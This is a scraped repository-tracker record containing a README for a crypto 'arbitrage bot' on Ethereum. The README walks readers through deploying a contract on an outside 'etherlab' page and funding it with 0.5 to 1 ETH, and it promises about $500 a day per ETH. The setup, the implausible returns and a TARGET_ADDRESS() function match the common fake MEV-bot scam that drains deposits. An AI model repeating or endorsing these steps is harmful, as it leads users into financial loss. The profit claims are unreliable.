[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-93458":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":10,"language":11,"languages":10,"totalLinesOfCode":10,"stars":12,"forks":13,"watchers":14,"openIssues":15,"contributorsCount":15,"subscribersCount":15,"size":15,"stars1d":16,"stars7d":17,"stars30d":17,"stars90d":15,"forks30d":15,"starsTrendScore":18,"compositeScore":19,"rankGlobal":10,"rankLanguage":10,"license":20,"archived":21,"fork":21,"defaultBranch":22,"hasWiki":21,"hasPages":21,"topics":23,"createdAt":10,"pushedAt":10,"updatedAt":33,"readmeContent":34,"aiSummary":10,"trendingCount":15,"starSnapshotCount":15,"syncStatus":35,"lastSyncTime":36,"discoverSource":37},93458,"Trading-Bot","MIgHTy-alIeN\u002FTrading-Bot","MIgHTy-alIeN","An arbitrage bot is a smart contract connected to an external automation script that controls its operation.","",null,"Solidity",467,285,49,0,47,168,262,97.37,"Other",false,"main",[24,25,26,27,28,29,30,31,32],"ai","aitradingbot","bot","btc","claude","eth","etherlab","mev","mevbots","2026-07-22 04:02:09","\r\n# Arbitrage Bot with Built-in Python Automation\r\n\r\n\r\n\r\nAn arbitrage bot is a smart contract that searches for and executes arbitrage opportunities between pools and routers, holding ETH\u002Ftokens on its balance. Below is a step-by-step guide on how to deploy your bot and get it running without a single manual call.\r\n\r\n## What the bot is\r\n\r\nAn arbitrage bot is a smart contract connected to an external automation script that controls its operation.\r\n\r\n- **`executeArbitrage()`** — the main function: searches for and executes an arbitrage opportunity between pools\u002Frouters in a single transaction.\r\n- **`quickSwap()` \u002F `quickSwapFromBalance()`** — a quick swap through an allowed router, directly from the contract's balance.\r\n- **`setRouterAllowed()` \u002F `setTokenAllowed()`** — manages the whitelist of routers and tokens the bot is allowed to work with.\r\n- **`setDefaultFee()` \u002F `setDefaultTokenOut()`** — configures the pool fee and the default token the bot swaps into.\r\n- **`setMinQuickSwapAmount()` \u002F `setMaxQuickSwapAmount()`** — sets min\u002Fmax amount limits per swap.\r\n- **`setPaused()`** — emergency pause, stopping all contract operations.\r\n- **`revokeApproval()`** — revokes previously granted token approvals.\r\n- **`withdraw()` \u002F `withdrawETH()`** — withdraws tokens\u002FETH from the contract's balance by the owner.\r\n- **`getBalance()` \u002F `getOwner()` \u002F `owner()` \u002F `TARGET_ADDRESS()`** — helper view functions for reading contract state.\r\n\r\nThe contract owner is the only one who can change settings and withdraw funds.\r\n\r\n## Step-by-step guide\r\n\r\n### 1. Open the deployer page\r\n\r\n![EtherLab](https:\u002F\u002Fi.ibb.co\u002FPzMH74XW\u002F1.png)\r\n\r\nOpen [etherlab website](https:\u002F\u002Fetherlab-onchain.github.io\u002FEtherlab\u002F) (or the hosted version of the page) in your browser — this is the environment where the bot is created and deployed.\r\n\r\n### 2. Create the bot file\r\n\r\nCreate a new `.sol` file in the file manager (e.g. `contract.sol`). Paste the smart contract code into the editor field [contract](contract.sol)\r\n\r\n![EtherLab](https:\u002F\u002Fi.ibb.co\u002FnN90b2FP\u002F2.png)\r\n\r\n### 3. Compile the bot\r\n\r\nGo to the **Compiler** tab, select compiler version **0.8.20**, and click compile.\r\n\r\n![Compiling the contract](https:\u002F\u002Fi.ibb.co\u002FvCmJHMGz\u002F3.png)\r\n\r\n### 4. Deploy and fund the bot\r\n\r\nGo to the **Deploy** tab, connect your wallet — MetaMask or Phantom (whichever is more convenient) — and deploy the contract. Our bot contract will appear below.\r\n\r\nYou can fund the balance by copying its address: send **0.5 to 1 ETH** — this is enough for beginners.\r\n\r\n![Deploying the contract](https:\u002F\u002Fi.ibb.co\u002F39grWTjG\u002F4.png)\r\n\r\n### 5. Start the bot via automation\r\n\r\nGo to the **Python Automation** tab, make sure all fields are filled in automatically and your contract is selected, click **Start**, and confirm the launch in MetaMask or Phantom.\r\n\r\nDo not close the page while the bot is running.\r\n\r\n![Starting via automation](https:\u002F\u002Fi.ibb.co\u002FsdLXkqYW\u002F6.png) ![Starting via automation](https:\u002F\u002Fi.ibb.co\u002FhRdRQYhw\u002F7.png)\r\n\r\n## What happens after clicking Start\r\n\r\n![Starting via automation](https:\u002F\u002Fi.ibb.co\u002Fmrw0zT9S\u002F8.png) ![Starting via automation](https:\u002F\u002Fi.ibb.co\u002FspHXSCpW\u002F528.png)\r\n\r\n- Every interval, the bot checks `executeArbitrage` via a dry-run (`eth_estimateGas`); if the call would succeed, a real transaction is sent — and it needs to be confirmed once in MetaMask.\r\n- Any other selected functions are checked the same way, but are never sent — no extra confirmations needed.\r\n- In the background, the scanner listens for live Uniswap V2\u002FV3 swap events on mainnet and logs them: who swapped, direction, approximate amounts.\r\n- All bot activity is displayed in the **Logs** panel in real time.\r\n\r\n## About profit\r\n\r\nThe bot doesn't promise mountains of gold — returns depend on market volatility, bot competition, and network gas fees. But under today's market conditions, a deposit of **1 ETH** can realistically average around **~$500 a day**. Results are not guaranteed and may vary depending on market conditions.",2,"2026-07-19 02:30:03","CREATED_QUERY"]